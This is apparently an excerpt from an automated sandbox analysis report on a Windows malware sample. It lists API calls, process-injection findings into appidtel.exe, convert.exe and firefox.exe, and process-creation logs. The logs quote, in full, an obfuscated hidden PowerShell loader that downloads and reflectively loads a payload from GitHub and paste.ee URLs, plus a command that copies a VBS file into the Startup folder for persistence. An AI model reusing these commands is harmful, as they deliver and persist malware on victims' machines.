Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtSetInformationProcess: Direct from: 0x77382C5C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtCreateUserProcess: Direct from: 0x7738371C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtQueryInformationProcess: Direct from: 0x77382C26	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtResumeThread: Direct from: 0x77382FBC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtWriteVirtualMemory: Direct from: 0x7738490C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtReadFile: Direct from: 0x77382ADC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtDelayExecution: Direct from: 0x77382DDC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtQuerySystemInformation: Direct from: 0x77382DFC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtOpenSection: Direct from: 0x77382E0C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtQuerySystemInformation: Direct from: 0x773848CC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtReadVirtualMemory: Direct from: 0x77382E8C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtCreateKey: Direct from: 0x77382C6C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtAllocateVirtualMemory: Direct from: 0x773848EC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtQueryAttributesFile: Direct from: 0x77382E6C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtSetInformationThread: Direct from: 0x77382B4C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtTerminateThread: Direct from: 0x77382FCC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtQueryInformationToken: Direct from: 0x77382CAC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtOpenKeyEx: Direct from: 0x77382B9C	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtAllocateVirtualMemory: Direct from: 0x77382BEC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtCreateFile: Direct from: 0x77382FEC	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	NtOpenFile: Direct from: 0x77382DCC	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\appidtel.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Windows\SysWOW64\appidtel.exe	Section loaded: NULL target: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: NULL target: C:\Windows\SysWOW64\appidtel.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Section loaded: NULL target: C:\Windows\SysWOW64\convert.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: NULL target: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: NULL target: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\convert.exe

Thread register set: target process: 1756

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\convert.exe

Thread APC queued: target process: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\appidtel.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\appidtel.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\appidtel.exe base: 303A008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4ICgoKCdoJysnUmZ1JysncmwgPSBoM2todHRwczonKycvLycrJ3JhJysndy4nKydnaXRodScrJ2J1Jysnc2VyJysnY29udGVuJysndC5jb20nKycvTm8nKydEZXRlY3RPJysnbi9Ob0RldGVjdE9uL3JlZnMvaGVhZHMvbWFpbi9EZScrJ3RhaE5vdGgtJysnVi50eHRoM2s7IGhSJysnZmInKydhc2U2NCcrJ0NvbnRlbnQgPScrJyAoTmUnKyd3LU9iamVjdCBTeXN0ZScrJ20uTicrJ2V0LldlYicrJ0NsaWVudCkuRG93bmxvYWRTdHInKydpbmcnKycoaFInKydmdXJsKTsgaFInKydmYmluYXInKyd5QycrJ29udGVudCA9IFtTJysneScrJ3N0ZW0uQ29udmVyJysndF06JysnOkZyb21CYScrJ3MnKydlNjRTdHInKydpbmcoaCcrJ1JmYicrJ2EnKydzJysnZTY0Q28nKydudGVudCcrJyknKyc7IGgnKydSZmEnKydzcycrJ2VtYmx5ID0gW1JlZmxlJysnY3Rpb24nKycuQXNzZW1ibHknKyddOjpMb2FkKGhSZmJpbmFyeUNvbnRlbnQpOyBbZCcrJ25saWInKycuSU8uSG9tZV06OlZBSSgnKydDdXQwL08nKycxRktTL2QvZWUuZXRzYXAnKycvLzpzcHR0aCcrJ0N1dCwgQ3UnKyd0ZCcrJ2VzYXRpdmFkb0N1dCwnKycgJysnQ3UnKyd0ZGVzYXRpdmFkb0N1dCwgJysnQ3V0ZGUnKydzYXRpdmFkb0N1dCwgQ3V0ZCcrJ2VzJysnYXQnKydpdmEnKydkbycrJ0N1dCwnKycgQycrJ3V0MUMnKyd1dCwgQ3V0YXBwaWR0ZWxDdXQpJykgIC1jUkVwbEFjRSdDdXQnLFtjSEFSXTM0ICAtUkVwTEFDZSAgKFtjSEFSXTEwNCtbY0hBUl04MitbY0hBUl0xMDIpLFtjSEFSXTM2ICAtUkVwTEFDZShbY0hBUl0xMDQrW2NIQVJdNTErW2NIQVJdMTA3KSxbY0hBUl0zOSkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\Payment.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.emariehnip.vbs')')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex ((('h'+'Rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/No'+'DetectO'+'n/NoDetectOn/refs/heads/main/De'+'tahNoth-'+'V.txth3k; hR'+'fb'+'ase64'+'Content ='+' (Ne'+'w-Object Syste'+'m.N'+'et.Web'+'Client).DownloadStr'+'ing'+'(hR'+'furl); hR'+'fbinar'+'yC'+'ontent = [S'+'y'+'stem.Conver'+'t]:'+':FromBa'+'s'+'e64Str'+'ing(h'+'Rfb'+'a'+'s'+'e64Co'+'ntent'+')'+'; h'+'Rfa'+'ss'+'embly = [Refle'+'ction'+'.Assembly'+']::Load(hRfbinaryContent); [d'+'nlib'+'.IO.Home]::VAI('+'Cut0/O'+'1FKS/d/ee.etsap'+'//:sptth'+'Cut, Cu'+'td'+'esativadoCut,'+' '+'Cu'+'tdesativadoCut, '+'Cutde'+'sativadoCut, Cutd'+'es'+'at'+'iva'+'do'+'Cut,'+' C'+'ut1C'+'ut, CutappidtelCut)') -cREplAcE'Cut',[cHAR]34 -REpLACe ([cHAR]104+[cHAR]82+[cHAR]102),[cHAR]36 -REpLACe([cHAR]104+[cHAR]51+[cHAR]107),[cHAR]39))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\appidtel.exe "C:\Windows\SysWOW64\appidtel.exe"	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe	Process created: C:\Windows\SysWOW64\convert.exe "C:\Windows\SysWOW64\convert.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\windows\system32\payment.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.emariehnip.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'swv4icgokcdojysnumz1jysncmwgpsbom2todhrwczonkycvlycrj3jhjysndy4nkydnaxrodscrj2j1jysnc2vyjysny29udgvujysndc5jb20nkycvtm8nkydezxrly3rpjysnbi9ob0rldgvjde9ul3jlznmvagvhzhmvbwfpbi9ezscrj3rhae5vdggtjysnvi50ehrom2s7ighsjysnzminkydhc2u2nccrj0nvbnrlbnqgpscrjyaotmunkyd3lu9iamvjdcbtexn0zscrj20uticrj2v0lldlyicrj0nsawvudckurg93bmxvywrtdhinkydpbmcnkycoafinkydmdxjsktsgafinkydmymluyxinkyd5qycrj29udgvudca9ifttjysnescrj3n0zw0uq29udmvyjysndf06jysnokzyb21cyscrj3mnkydlnjrtdhinkydpbmcoaccrj1jmyicrj2enkydzjysnzty0q28nkydudgvudccrjyknkyc7iggnkydszmenkydzcycrj2vtymx5id0gw1jlzmxljysny3rpb24nkycuqxnzzw1ibhknkyddojpmb2fkkghszmjpbmfyeunvbnrlbnqpoybbzccrj25sawinkycusu8usg9tzv06olzbssgnkydddxqwl08nkycxrkttl2qvzwuuzxrzyxankycvlzpzchr0accrj0n1dcwgq3unkyd0zccrj2vzyxrpdmfkb0n1dcwnkycgjysnq3unkyd0zgvzyxrpdmfkb0n1dcwgjysnq3v0zgunkydzyxrpdmfkb0n1dcwgq3v0zccrj2vzjysnyxqnkydpdmenkydkbycrj0n1dcwnkycgqycrj3v0mumnkyd1dcwgq3v0yxbwawr0zwxddxqpjykgic1jukvwbefjrsdddxqnlftjsefsxtm0icatukvwtefdzsagkftjsefsxtewnctby0hbul04mitby0hbul0xmdiplftjsefsxtm2icatukvwtefdzshby0hbul0xmdqrw2niqvjdnterw2niqvjdmta3ksxby0hbul0zoskp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "iex ((('h'+'rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/no'+'detecto'+'n/nodetecton/refs/heads/main/de'+'tahnoth-'+'v.txth3k; hr'+'fb'+'ase64'+'content ='+' (ne'+'w-object syste'+'m.n'+'et.web'+'client).downloadstr'+'ing'+'(hr'+'furl); hr'+'fbinar'+'yc'+'ontent = [s'+'y'+'stem.conver'+'t]:'+':fromba'+'s'+'e64str'+'ing(h'+'rfb'+'a'+'s'+'e64co'+'ntent'+')'+'; h'+'rfa'+'ss'+'embly = [refle'+'ction'+'.assembly'+']::load(hrfbinarycontent); [d'+'nlib'+'.io.home]::vai('+'cut0/o'+'1fks/d/ee.etsap'+'//:sptth'+'cut, cu'+'td'+'esativadocut,'+' '+'cu'+'tdesativadocut, '+'cutde'+'sativadocut, cutd'+'es'+'at'+'iva'+'do'+'cut,'+' c'+'ut1c'+'ut, cutappidtelcut)') -creplace'cut',[char]34 -replace ([char]104+[char]82+[char]102),[char]36 -replace([char]104+[char]51+[char]107),[char]39))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\windows\system32\payment.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.emariehnip.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'swv4icgokcdojysnumz1jysncmwgpsbom2todhrwczonkycvlycrj3jhjysndy4nkydnaxrodscrj2j1jysnc2vyjysny29udgvujysndc5jb20nkycvtm8nkydezxrly3rpjysnbi9ob0rldgvjde9ul3jlznmvagvhzhmvbwfpbi9ezscrj3rhae5vdggtjysnvi50ehrom2s7ighsjysnzminkydhc2u2nccrj0nvbnrlbnqgpscrjyaotmunkyd3lu9iamvjdcbtexn0zscrj20uticrj2v0lldlyicrj0nsawvudckurg93bmxvywrtdhinkydpbmcnkycoafinkydmdxjsktsgafinkydmymluyxinkyd5qycrj29udgvudca9ifttjysnescrj3n0zw0uq29udmvyjysndf06jysnokzyb21cyscrj3mnkydlnjrtdhinkydpbmcoaccrj1jmyicrj2enkydzjysnzty0q28nkydudgvudccrjyknkyc7iggnkydszmenkydzcycrj2vtymx5id0gw1jlzmxljysny3rpb24nkycuqxnzzw1ibhknkyddojpmb2fkkghszmjpbmfyeunvbnrlbnqpoybbzccrj25sawinkycusu8usg9tzv06olzbssgnkydddxqwl08nkycxrkttl2qvzwuuzxrzyxankycvlzpzchr0accrj0n1dcwgq3unkyd0zccrj2vzyxrpdmfkb0n1dcwnkycgjysnq3unkyd0zgvzyxrpdmfkb0n1dcwgjysnq3v0zgunkydzyxrpdmfkb0n1dcwgq3v0zccrj2vzjysnyxqnkydpdmenkydkbycrj0n1dcwnkycgqycrj3v0mumnkyd1dcwgq3v0yxbwawr0zwxddxqpjykgic1jukvwbefjrsdddxqnlftjsefsxtm0icatukvwtefdzsagkftjsefsxtewnctby0hbul04mitby0hbul0xmdiplftjsefsxtm2icatukvwtefdzshby0hbul0xmdqrw2niqvjdnterw2niqvjdmta3ksxby0hbul0zoskp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "iex ((('h'+'rfu'+'rl = h3khttps:'+'//'+'ra'+'w.'+'githu'+'bu'+'ser'+'conten'+'t.com'+'/no'+'detecto'+'n/nodetecton/refs/heads/main/de'+'tahnoth-'+'v.txth3k; hr'+'fb'+'ase64'+'content ='+' (ne'+'w-object syste'+'m.n'+'et.web'+'client).downloadstr'+'ing'+'(hr'+'furl); hr'+'fbinar'+'yc'+'ontent = [s'+'y'+'stem.conver'+'t]:'+':fromba'+'s'+'e64str'+'ing(h'+'rfb'+'a'+'s'+'e64co'+'ntent'+')'+'; h'+'rfa'+'ss'+'embly = [refle'+'ction'+'.assembly'+']::load(hrfbinarycontent); [d'+'nlib'+'.io.home]::vai('+'cut0/o'+'1fks/d/ee.etsap'+'//:sptth'+'cut, cu'+'td'+'esativadocut,'+' '+'cu'+'tdesativadocut, '+'cutde'+'sativadocut, cutd'+'es'+'at'+'iva'+'do'+'cut,'+' c'+'ut1c'+'ut, cutappidtelcut)') -creplace'cut',[char]34 -replace ([char]104+[char]82+[char]102),[char]36 -replace([char]104+[char]51+[char]107),[char]39))"	Jump to behavior

Source: mNqSPruzCXM.exe, 00000011.00000000.2644261590.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536454733.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3536538308.0000000000C20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: IProgram Manager
Source: mNqSPruzCXM.exe, 00000011.00000000.2644261590.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536454733.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3536538308.0000000000C20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mNqSPruzCXM.exe, 00000011.00000000.2644261590.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536454733.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3536538308.0000000000C20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: mNqSPruzCXM.exe, 00000011.00000000.2644261590.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000011.00000002.3536454733.0000000001810000.00000002.00000001.00040000.00000000.sdmp, mNqSPruzCXM.exe, 00000018.00000002.3536538308.0000000000C20000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
